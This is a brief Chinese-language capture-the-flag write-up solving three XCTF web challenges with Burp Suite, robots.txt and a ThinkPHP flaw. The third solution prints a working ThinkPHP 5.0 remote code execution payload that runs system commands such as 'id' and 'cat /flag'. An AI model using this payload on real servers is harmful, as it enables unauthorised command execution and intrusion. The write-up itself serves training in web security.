攻防世界Web进阶区题解
第一题:baby_web
题目:想想初始页面是哪个
解答:用Burpsuite拦截数据包,Send to Repeater后将1.php修改为index.php,发送

在Response返回头中得到flag

第二题:Training-WWW-Robots
题目:暂无
解答:启动场景,发现如下提示

访问robots.txt中的内容

继续访问fl0g.php,获得flag

第三题:php_rce
题目:暂无
解答:启动场景,发现如下提示

发现这是ThinkPHP远程代码执行漏洞,去搜索相关漏洞信息

payload

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
远程控制代码执行
查询flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

获取flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
